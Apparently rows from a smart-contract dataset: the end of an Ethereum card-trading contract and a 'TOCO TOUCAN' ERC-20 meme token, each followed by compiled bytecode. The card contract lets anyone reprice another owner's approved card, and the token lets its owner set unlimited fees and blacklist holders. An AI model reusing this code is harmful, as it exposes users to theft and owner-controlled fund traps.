event SilverPurchased (
address payable owner,
uint price,
bool sell_approve
);
event SilverSell (
address payable owner,
uint price,
bool sell_approve
);
event SilverApprove (
address payable owner,
uint price,
bool sell_approve
);
event SilverBought (
address payable owner,
uint price,
bool sell_approve
);
struct Bronze {
address payable owner;
uint price;
bool sell_approve;
}
// bronze card owner list
mapping (uint => Bronze) public bronze_list;
// bronze card owner account
uint public bronze_owner_count = 0;
// bronze card default price
uint constant bronze_price = 25e16;
// bronze card max amount
uint constant bronze_max = 1500;
event BronzePurchased (
address payable owner,
uint price,
bool sell_approve
);
event BronzeSell (
address payable owner,
uint price,
bool sell_approve
);
event BronzeApprove (
address payable owner,
uint price,
bool sell_approve
);
event BronzeBought (
address payable owner,
uint price,
bool sell_approve
);
//////////////////////////////////////////////
////////// gold ////////////
//////////////////////////////////////////////
// gold card buy (MU -> user)
function gold_buy() public payable {
// require : original card is remaining.
require( gold_owner_count < gold_max );
// require : ETH is greater than gold card price
require( msg.value == gold_price );
// register new gold owner
gold_list[gold_owner_count] = Gold(msg.sender, 0, false);
gold_owner_count++;
emit GoldPurchased(msg.sender, 0, false);
}
// are going to sell gold card
// check if the function caller is gold card owner
function gold_sell(uint card_id, uint _price) public payable returns(bool) {
// require : there is gold card with `card_id`
require(card_id < gold_owner_count, "Card ID can not be exceed current card owners amount");
// require : can not card price as zero or negative
require(_price > 0, "Card price need to be set greater than zero.");
gold_list[card_id].price = _price;
emit GoldSell(msg.sender, gold_list[card_id].price, gold_list[card_id].sell_approve);
return true;
}
// approve gold card buy request
function gold_approve (uint card_id) public returns(bool) {
// require : card_id need to be less than card owners amount
require(card_id < gold_owner_count, "Card id has to be less than card owner amount");
// require : only card owner can approve the card selling
require(msg.sender == gold_list[card_id].owner, "Only card owner can approve the card selling");
gold_list[card_id].sell_approve = true;
emit GoldApprove(msg.sender, gold_list[card_id].price, gold_list[card_id].sell_approve);
return true;
}
// gold card buy (user -> user)
function gold_request_buy (uint card_id) public payable {
// require: card is placed on the sell list
require( gold_list[card_id].price > 0 );
// require: request buy is greater than minimum price
require( msg.value == gold_list[card_id].price );
// require : check if card owner approves the request
require( gold_list[card_id].sell_approve == true );
// transfer ETH from new owner to old owner
gold_list[card_id].owner.transfer(msg.value);
// move the card ownership from old owner to new owner
gold_list[card_id].owner = msg.sender;
gold_list[card_id].sell_approve = false;
gold_list[card_id].price = 0;
emit GoldBought(msg.sender, gold_list[card_id].price, gold_list[card_id].sell_approve);
}
//////////////////////////////////////////////
////////// silver ////////////
//////////////////////////////////////////////
// silver card buy (MU -> user)
function silver_buy() public payable {
// require : original card is remaining.
require( silver_owner_count < silver_max );
// require : ETH is greater than silver card price
require( msg.value == silver_price );
// register new silver owner
silver_list[silver_owner_count] = Silver(msg.sender, 0, false);
silver_owner_count++;
emit SilverPurchased(msg.sender, 0, false);
}
// are going to sell silver card
// check if the function caller is silver card owner
function silver_sell(uint card_id, uint _price) public payable returns(bool) {
// require : there is silver card with `card_id`
require(card_id < silver_owner_count, "Card ID can not be exceed current card owners amount");
// require : can not card price as zero or negative
require(_price > 0, "Card price need to be set greater than zero.");
silver_list[card_id].price = _price;
emit SilverSell(msg.sender, silver_list[card_id].price, silver_list[card_id].sell_approve);
return true;
}
// approve silver card buy request
function silver_approve (uint card_id) public returns(bool) {
// require : card_id need to be less than card owners amount
require(card_id < silver_owner_count, "Card id has to be less than card owner amount");
// require : only card owner can approve the card selling
require(msg.sender == silver_list[card_id].owner, "Only card owner can approve the card selling");
silver_list[card_id].sell_approve = true;
emit SilverApprove(msg.sender, silver_list[card_id].price, silver_list[card_id].sell_approve);
return true;
}
// silver card buy (user -> user)
function silver_request_buy (uint card_id) public payable {
// require: card is placed on the sell list
require( silver_list[card_id].price > 0 );
// require: request buy is greater than minimum price
require( msg.value == silver_list[card_id].price );
// require : check if card owner approves the request
require( silver_list[card_id].sell_approve == true );
// transfer ETH from new owner to old owner
silver_list[card_id].owner.transfer(msg.value);
// move the card ownership from old owner to new owner
silver_list[card_id].owner = msg.sender;
silver_list[card_id].sell_approve = false;
silver_list[card_id].price = 0;
emit SilverBought(msg.sender, silver_list[card_id].price, silver_list[card_id].sell_approve);
}
//////////////////////////////////////////////
////////// Bronze ////////////
//////////////////////////////////////////////
// bronze card buy (MU -> user)
function bronze_buy() public payable {
// require : original card is remaining.
require( bronze_owner_count < bronze_max );
// require : ETH is greater than bronze card price
require( msg.value == bronze_price );
// register new bronze owner
bronze_list[bronze_owner_count] = Bronze(msg.sender, 0, false);
bronze_owner_count++;
emit BronzePurchased(msg.sender, 0, false);
}
// are going to sell bronze card
// check if the function caller is bronze card owner
function bronze_sell(uint card_id, uint _price) public payable returns(bool) {
// require : there is bronze card with `card_id`
require(card_id < bronze_owner_count, "Card ID can not be exceed current card owners amount");
// require : can not card price as zero or negative
require(_price > 0, "Card price need to be set greater than zero.");
bronze_list[card_id].price = _price;
emit BronzeSell(msg.sender, bronze_list[card_id].price, bronze_list[card_id].sell_approve);
return true;
}
// approve bronze card buy request
function bronze_approve (uint card_id) public returns(bool) {
// require : card_id need to be less than card owners amount
require(card_id < bronze_owner_count, "Card id has to be less than card owner amount");
// require : only card owner can approve the card selling
require(msg.sender == bronze_list[card_id].owner, "Only card owner can approve the card selling");
bronze_list[card_id].sell_approve = true;
emit BronzeApprove(msg.sender, bronze_list[card_id].price, bronze_list[card_id].sell_approve);
return true;
}
// bronze card buy (user -> user)
function bronze_request_buy (uint card_id) public payable {
// require: card is placed on the sell list
require( bronze_list[card_id].price > 0 );
// require: request buy is greater than minimum price
require( msg.value == bronze_list[card_id].price );
// require : check if card owner approves the request
require( bronze_list[card_id].sell_approve == true );
// transfer ETH from new owner to old owner
bronze_list[card_id].owner.transfer(msg.value);
// move the card ownership from old owner to new owner
bronze_list[card_id].owner = msg.sender;
bronze_list[card_id].sell_approve = false;
bronze_list[card_id].price = 0;
emit BronzeBought(msg.sender, bronze_list[card_id].price, bronze_list[card_id].sell_approve);
}
function reclaimETH() external onlyOwner{
msg.sender.transfer(address(this).balance);
}
}
|
0x60806040526004361061012e5760003560e01c80639426ecba116100ab578063e27b073b1161006f578063e27b073b14610344578063eaa6fd9914610359578063ec9f883214610383578063f03296a514610398578063f2fde38b146103bb578063f9cdd6ce146103ee57610135565b80639426ecba146102b157806397086e48146102b9578063a7db3b54146102d6578063b748ec90146102fd578063c364c9b71461032757610135565b806334fa6dba116100f257806334fa6dba146102085780633dd70bc314610232578063699e2d491461023a5780637af1e0e21461025d5780638da5cb5b1461028057610135565b806305c9714a1461013a578063088dd405146101445780630972f9ef146101825780630f144a481461019f5780631b897148146101b457610135565b3661013557005b600080fd5b610142610418565b005b34801561015057600080fd5b5061016e6004803603602081101561016757600080fd5b50356104e6565b604080519115158252519081900360200190f35b6101426004803603602081101561019857600080fd5b50356105eb565b3480156101ab57600080fd5b50610142610704565b3480156101c057600080fd5b506101de600480360360208110156101d757600080fd5b50356107a7565b604080516001600160a01b0390941684526020840192909252151582820152519081900360600190f35b34801561021457600080fd5b5061016e6004803603602081101561022b57600080fd5b50356107d5565b6101426108dc565b61016e6004803603604081101561025057600080fd5b50803590602001356109b3565b61016e6004803603604081101561027357600080fd5b5080359060200135610a9a565b34801561028c57600080fd5b50610295610b81565b604080516001600160a01b039092168252519081900360200190f35b610142610b90565b610142600480360360208110156102cf57600080fd5b5035610c66565b3480156102e257600080fd5b506102eb610d7f565b60408051918252519081900360200190f35b34801561030957600080fd5b5061016e6004803603602081101561032057600080fd5b5035610d85565b6101426004803603602081101561033d57600080fd5b5035610e8c565b34801561035057600080fd5b506102eb610fa5565b34801561036557600080fd5b506101de6004803603602081101561037c57600080fd5b5035610fab565b34801561038f57600080fd5b506102eb610fda565b61016e600480360360408110156103ae57600080fd5b5080359060200135610fe0565b3480156103c757600080fd5b50610142600480360360208110156103de57600080fd5b50356001600160a01b03166110c8565b3480156103fa57600080fd5b506101de6004803603602081101561041157600080fd5b50356111dc565b600f6002541061042757600080fd5b67d02ab486cedc0000341461043b57600080fd5b604080516060808201835233808352600060208085018281528587018381526002805485526001808552898620985189546001600160a01b0319166001600160a01b039091161789559251888401559051968101805460ff19169715159790971790965585540190945584519182529281018390528084019290925291517f6741590263aec7c8cac9d4ded8b5ae1b0e384967cd123222914e13d63250947b929181900390910190a1565b600060025482106105285760405162461bcd60e51b815260040180806020018281038252602d815260200180611295602d913960400191505060405180910390fd5b6000828152600160205260409020546001600160a01b0316331461057d5760405162461bcd60e51b815260040180806020018281038252602c81526020018061120f602c913960400191505060405180910390fd5b60008281526001602081815260409283902060028101805460ff191684179081905592015483513381529182015260ff9190911615158183015290517fd2c4384f4f0438d3602c8caf3088da659ba5c23af0e40dbe7fabbc6be99934579181900360600190a1506001919050565b60008181526003602052604090206001015461060657600080fd5b600081815260036020526040902060010154341461062357600080fd5b60008181526003602052604090206002015460ff16151560011461064657600080fd5b6000818152600360205260408082205490516001600160a01b03909116913480156108fc02929091818181858888f1935050505015801561068b573d6000803e3d6000fd5b50600081815260036020908152604080832080546001600160a01b03191633908117825560028201805460ff19169055600190910184905581519081529182018390528181019290925290517fb578e251b4aa71b09b5b338ec41386a4e1bf4c5f2ea43c519a137171974412c49181900360600190a150565b61070c61120a565b6001600160a01b031661071d610b81565b6001600160a01b031614610778576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60405133904780156108fc02916000818181858888f193505050501580156107a4573d6000803e3d6000fd5b50565b6003602052600090815260409020805460018201546002909201546001600160a01b03909116919060ff1683565b600060045482106108175760405162461bcd60e51b815260040180806020018281038252602d815260200180611295602d913960400191505060405180910390fd5b6000828152600360205260409020546001600160a01b0316331461086c5760405162461bcd60e51b815260040180806020018281038252602c81526020018061120f602c913960400191505060405180910390fd5b60008281526003602090815260409182902060028101805460ff1916600190811791829055919091015483513381529283015260ff1615158183015290517fb655d63be0191512be9fc624539c8cba86714f4bb100546c9d5facbbe7e426f09181900360600190a1506001919050565b6105dc600654106108ec57600080fd5b6703782dace9d90000341461090057600080fd5b6040805160608082018352338083526000602080850182815285870183815260068054855260058452888520975188546001600160a01b0319166001600160a01b03909116178855915160018089019190915590516002909701805460ff191697151597909717909655805490950190945584519182529281018390528084019290925291517f8d87bde9e95e0b6449e21ff1b1f4db1e49f4a895c3b01feefd71bfed2bdcf7c4929181900390910190a1565b600060045483106109f55760405162461bcd60e51b81526004018080602001828103825260348152602001806112616034913960400191505060405180910390fd5b60008211610a345760405162461bcd60e51b815260040180806020018281038252602c8152602001806112c2602c913960400191505060405180910390fd5b6000838152600360209081526040918290206001810185905560020154825133815291820185905260ff1615158183015290517fa34f370b727ef099181bdeff75fe5839b51f866aafe052ee193a54a99b5919ad9181900360600190a150600192915050565b60006006548310610adc5760405162461bcd60e51b81526004018080602001828103825260348152602001806112616034913960400191505060405180910390fd5b60008211610b1b5760405162461bcd60e51b815260040180806020018281038252602c8152602001806112c2602c913960400191505060405180910390fd5b6000838152600560209081526040918290206001810185905560020154825133815291820185905260ff1615158183015290517fb3c542e8e11066978850d9081d2126aed45694d7e7fa3ef322ec17afe760030e9181900360600190a150600192915050565b6000546001600160a01b031690565b609660045410610b9f57600080fd5b670de0b6b3a76400003414610bb357600080fd5b6040805160608082018352338083526000602080850182815285870183815260048054855260038452888520975188546001600160a01b0319166001600160a01b03909116178855915160018089019190915590516002909701805460ff191697151597909717909655805490950190945584519182529281018390528084019290925291517f34246dc2ce4960b670b5774d2f01e1705d7e68a8bfe5aa2e892066a3567aaaf6929181900390910190a1565b600081815260056020526040902060010154610c8157600080fd5b6000818152600560205260409020600101543414610c9e57600080fd5b60008181526005602052604090206002015460ff161515600114610cc157600080fd5b6000818152600560205260408082205490516001600160a01b03909116913480156108fc02929091818181858888f19350505050158015610d06573d6000803e3d6000fd5b50600081815260056020908152604080832080546001600160a01b03191633908117825560028201805460ff19169055600190910184905581519081529182018390528181019290925290517ff684b37958b35993774a29300c6e06bcb9d0abf7c62e4f736b6e43ea4bddfe869181900360600190a150565b60065481565b60006006548210610dc75760405162461bcd60e51b815260040180806020018281038252602d815260200180611295602d913960400191505060405180910390fd5b6000828152600560205260409020546001600160a01b03163314610e1c5760405162461bcd60e51b815260040180806020018281038252602c81526020018061120f602c913960400191505060405180910390fd5b60008281526005602090815260409182902060028101805460ff1916600190811791829055919091015483513381529283015260ff1615158183015290517f55883bb7804a4dc476da7d949cee940b44653acdb81146318fbbaf43e6d489969181900360600190a1506001919050565b60008181526001602081905260409091200154610ea857600080fd5b600081815260016020819052604090912001543414610ec657600080fd5b60008181526001602081905260409091206002015460ff16151514610eea57600080fd5b6000818152600160205260408082205490516001600160a01b03909116913480156108fc02929091818181858888f19350505050158015610f2f573d6000803e3d6000fd5b50600081815260016020818152604080842080546001600160a01b03191633908117825560028201805460ff19169055930184905580519283529082018390528181019290925290517fa90b329fe08cab75e8b7bec5b50a61b7ace9732ea4e74b539dcd25218b51f2659181900360600190a150565b60045481565b60016020819052600091825260409091208054918101546002909101546001600160a01b039092169160ff1683565b60025481565b600060025483106110225760405162461bcd60e51b81526004018080602001828103825260348152602001806112616034913960400191505060405180910390fd5b600082116110615760405162461bcd60e51b815260040180806020018281038252602c8152602001806112c2602c913960400191505060405180910390fd5b600083815260016020818152604092839020918201859055600290910154825133815291820185905260ff1615158183015290517fd258ac3d7e39f027ee95bdf842eb25fbd6fa6b4aabb6112f97f0fd36d7e258d19181900360600190a150600192915050565b6110d061120a565b6001600160a01b03166110e1610b81565b6001600160a01b03161461113c576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166111815760405162461bcd60e51b815260040180806020018281038252602681526020018061123b6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6005602052600090815260409020805460018201546002909201546001600160a01b03909116919060ff1683565b339056fe4f6e6c792063617264206f776e65722063616e20617070726f76652074686520636172642073656c6c696e674f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373436172642049442063616e206e6f74206265206578636565642063757272656e742063617264206f776e65727320616d6f756e74436172642069642068617320746f206265206c657373207468616e2063617264206f776e657220616d6f756e7443617264207072696365206e65656420746f206265207365742067726561746572207468616e207a65726f2ea26469706673582212203d5fcd7d73630134383d95d2ce7fcf5a04783dc94d17526c6957f799679a4aba64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,264 |
0xcd6998129786a52b3bb2d710665634e29e71337c
|
/*
Toco toucan (tocotoken.com)
The toco toucan, the largest and best-known toucan species, is at home in South America's tropical forests. Its oversized, colorful bill has made it one of the world's most popular birds
In its native region, toucans are associated with evil spirits and are thought to be the incarnation of a demon. In certain religions of South and Central America, father of a new child must not eat toucan flesh as it might bewitch the newborn and cause it to fade away. The birds have also been used as a tribal totem and the medicine man may use them to fly to the spirit world
They're familiar commercial mascots, known for hawking stout, cereal, and other products. For example, it was being used as the icon of Guinness beer in the 1930s and the icon of the Brazilian Social Democracy Party in the 1980s. The lovely and colorful image of Toucan is popular among the commercial world and somehow considered as the lucky symbol of the brand. Tho it is widely considered as a popular and lucky symbol, we have never seen it in the crypto world. Toco believes that by using toco toucan as the symbol of this project, it can easily bring us to the moon without any effort.
https://t.me/tocotoucantoken
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract TACO is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "TOCO TOUCAN";
string private constant _symbol = "TACO";
uint private constant _decimals = 9;
uint256 private _teamFee = 10;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (1 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103f2578063cf0848f714610407578063cf9d4afa14610427578063dd62ed3e14610447578063e6ec64ec1461048d578063f2fde38b146104ad57600080fd5b8063715018a6146103285780638da5cb5b1461033d57806390d49b9d1461036557806395d89b4114610385578063a9059cbb146103b2578063b515566a146103d257600080fd5b806331c2d8471161010857806331c2d847146102415780633bbac57914610261578063437823ec1461029a578063476343ee146102ba5780635342acb4146102cf57806370a082311461030857600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b857806318160ddd146101e857806323b872dd1461020d578063313ce5671461022d57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104cd565b005b34801561017e57600080fd5b5060408051808201909152600b81526a2a27a1a7902a27aaa1a0a760a91b60208201525b6040516101af91906118a5565b60405180910390f35b3480156101c457600080fd5b506101d86101d336600461191f565b610519565b60405190151581526020016101af565b3480156101f457600080fd5b50670de0b6b3a76400005b6040519081526020016101af565b34801561021957600080fd5b506101d861022836600461194b565b610530565b34801561023957600080fd5b5060096101ff565b34801561024d57600080fd5b5061017061025c3660046119a2565b610599565b34801561026d57600080fd5b506101d861027c366004611a67565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a657600080fd5b506101706102b5366004611a67565b61062f565b3480156102c657600080fd5b5061017061067d565b3480156102db57600080fd5b506101d86102ea366004611a67565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031457600080fd5b506101ff610323366004611a67565b6106b7565b34801561033457600080fd5b506101706106d9565b34801561034957600080fd5b506000546040516001600160a01b0390911681526020016101af565b34801561037157600080fd5b50610170610380366004611a67565b61070f565b34801561039157600080fd5b506040805180820190915260048152635441434f60e01b60208201526101a2565b3480156103be57600080fd5b506101d86103cd36600461191f565b610789565b3480156103de57600080fd5b506101706103ed3660046119a2565b610796565b3480156103fe57600080fd5b506101706108af565b34801561041357600080fd5b50610170610422366004611a67565b610966565b34801561043357600080fd5b50610170610442366004611a67565b6109b1565b34801561045357600080fd5b506101ff610462366004611a84565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561049957600080fd5b506101706104a8366004611abd565b610c0c565b3480156104b957600080fd5b506101706104c8366004611a67565b610c3b565b6000546001600160a01b031633146105005760405162461bcd60e51b81526004016104f790611ad6565b60405180910390fd5b600061050b306106b7565b905061051681610cd3565b50565b6000610526338484610e4d565b5060015b92915050565b600061053d848484610f71565b61058f843361058a85604051806060016040528060288152602001611c4f602891396001600160a01b038a166000908152600360209081526040808320338452909152902054919061138b565b610e4d565b5060019392505050565b6000546001600160a01b031633146105c35760405162461bcd60e51b81526004016104f790611ad6565b60005b815181101561062b576000600560008484815181106105e7576105e7611b0b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062381611b37565b9150506105c6565b5050565b6000546001600160a01b031633146106595760405162461bcd60e51b81526004016104f790611ad6565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f1935050505015801561062b573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461052a906113c5565b6000546001600160a01b031633146107035760405162461bcd60e51b81526004016104f790611ad6565b61070d6000611449565b565b6000546001600160a01b031633146107395760405162461bcd60e51b81526004016104f790611ad6565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000610526338484610f71565b6000546001600160a01b031633146107c05760405162461bcd60e51b81526004016104f790611ad6565b60005b815181101561062b57600c5482516001600160a01b03909116908390839081106107ef576107ef611b0b565b60200260200101516001600160a01b0316141580156108405750600b5482516001600160a01b039091169083908390811061082c5761082c611b0b565b60200260200101516001600160a01b031614155b1561089d5760016005600084848151811061085d5761085d611b0b565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108a781611b37565b9150506107c3565b6000546001600160a01b031633146108d95760405162461bcd60e51b81526004016104f790611ad6565b600c54600160a01b900460ff1661093d5760405162461bcd60e51b81526020